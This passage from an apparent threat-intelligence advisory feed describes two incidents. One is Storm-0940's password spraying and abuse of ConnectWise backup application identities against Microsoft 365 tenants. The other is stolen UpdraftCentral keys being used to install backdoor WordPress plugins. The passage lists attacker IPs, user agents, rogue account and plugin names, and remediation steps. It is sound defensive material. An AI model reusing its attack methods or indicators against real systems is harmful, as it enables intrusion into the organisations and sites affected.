abuse. Before the ConnectWise identities were used, Storm-0940 sprayed 327 Microsoft 365 and Exchange Online accounts at eight organizations between 10 and 14 Oct; it logged no successful authentication in that phase. With the compromised application identities it then tried to sign in to more than 2,250 downstream tenants. Microsoft's campaign figures pair that with up to 2,900 attempts a minute, and say Storm-0940 reached privileged cloud persistence at many organizations across its ARTEX operations, some within three hours of targeting. Follow-on Graph activity included application credential changes and edits to identities, groups and privileged roles. ConnectWise says it has not confirmed downstream customer compromise and that its backup archives show no sign of compromise; Microsoft says sign-ins alone do not show that data was accessed or taken. No CVE is involved. The remedy is partly vendor-side (affected identities disabled, accounts reset, and a new ConnectWise Cloud Backup for M365 application that each tenant must re-authorize, restored in phases) and partly tenant-level review of OAuth applications, service-principal credentials and role changes. CrowdStrike tracks a separate China-nexus ARTEX campaign it calls VAPOR PANDA and says it is not Storm-0940 activity. Do: Do not re-enable the previous ConnectWise Cloud Backup application connections. Re-authorize each Microsoft 365 tenant only through the new ConnectWise Cloud Backup for M365 application and ConnectWise's instructions. Backups resume only for re-authorized tenants, so confirm that new snapshots complete.; Review every Microsoft 365 tenant that ever authorized ConnectWise Cloud Backup, both your own and managed customers', from about 1 Oct 2026: service-principal sign-ins and Graph activity, application credential additions, OAuth consents, and changes to identities, groups and privileged roles.; Search sign-in and audit logs for 144.172.64.99 (Microsoft) and 144.172.64.128 (ConnectWise), and for the user agents Python-urllib/3.12 and python-requests/2.31. Do not limit the review to published IPs.; Preserve Microsoft Entra sign-in and audit records, Purview Audit, SIEM data and Graph telemetry before remediating.; Rotate credentials, and remove or re-authorize OAuth and enterprise applications that look suspicious, including credentials added to existing applications.; Harden against AI-automated password spraying: enforce MFA or 2SV, conditional access, and lockout and spray detection at scale. ### [critical] UpdraftCentral: stolen connection keys were used to backdoor WordPress sites (no CVE) https://helix.ml/threat-watch/i/teamupdraft-updraftplus-updraftcentral-website-breach-exposed-connection-keys-used-to-install-backdoor-plugins-on-wordpr · Supply chain · patched · since 2026-10-19 TeamUpdraft says attackers got into its teamupdraft.com website over 17-18 October 2026 and reached a customer database holding names, contact and billing details, order history, hashed passwords, 2FA settings, and connection keys for UpdraftCentral, UpdraftVault and UpdraftClone. Patchstack reports that stolen UpdraftCentral keys were used to send plugin.upload_plugin commands that installed backdoor plugins on connected WordPress sites from 18 October; it counted 99 distinct backdoor plugin names, and the backdoors created rogue Editor-level accounts such as data-ops43. The cause is leaked keys, not a flaw in UpdraftPlus itself, which TeamUpdraft says is unaffected, as is self-hosted UpdraftCentral. The fix is UpdraftPlus 1.26.13 (free) or 2.26.13 (Premium) or later. Per the vendor, that release disconnects only connections made before 13:07 BST on 18 October; the 1.26.12 release was meant to do this but had a bug. Updating does not remove a backdoor that is already installed, and TeamUpdraft's 21 and 29 October updates say the incident is ongoing: a plugin the attacker left behind later created a new administrator account on a site that had already been disconnected. TeamUpdraft has reported the incident to the ICO and the police. Fixed: UpdraftPlus 1.26.13 (free) / 2.26.13 (Premium) Do: On every site that has ever had an UpdraftCentral connection, delete all connection keys in UpdraftPlus (Settings > UpdraftPlus > Advanced Tools > UpdraftCentral) before anything else, then update to UpdraftPlus 1.26.13 (free) or 2.26.13 (Premium) or later. 1.26.12 and 2.26.12 do not revoke keys. Keys created after the 13:07 BST cutoff are not revoked by the update, so delete them by hand.; Assume an update is not enough: check Plugins (including must-use) for unknown or hidden plugins and Users for unknown administrators or Editors. Known names include data-ops43 (display name 'Site Tools') and media-staff96, and the plugin names 'Site Health Cache' and 'Wp Forge'. Remove malicious plugins with a file manager or SFTP, not the WordPress dashboard, as the vendor advises; do not try to repair a backdoored plugin.; Search logs for IOCs: an UpdraftCentral log entry for probe.central.updraftplus.com followed by 'Command received: plugin.upload_plugin' (Patchstack); traffic from IPv4 43.250.53.42 or IPv6 2a09:bac5:4e21:2e3c::49b:9. If a backdoor is found, treat the site as compromised and restore from a backup taken before 17 October, as the vendor advises.; Change all WordPress administrator passwords and rotate the salts, reset 2FA, and change the teamupdraft.com password and any reused password (vendor advice).; Re-authorise linked remote storage and rotate its access keys for any site accessed through UpdraftCentral. UpdraftVault users reconnect sites with new credentials; UpdraftClone users copy new client keys from their account. Treat unexpected emails asking for credentials as phishing. Breach data from Have I Been Pwned (haveibeenpwned.com) is licensed CC BY 4.0. Vulnerability data from the CISA KEV catalog and NVD.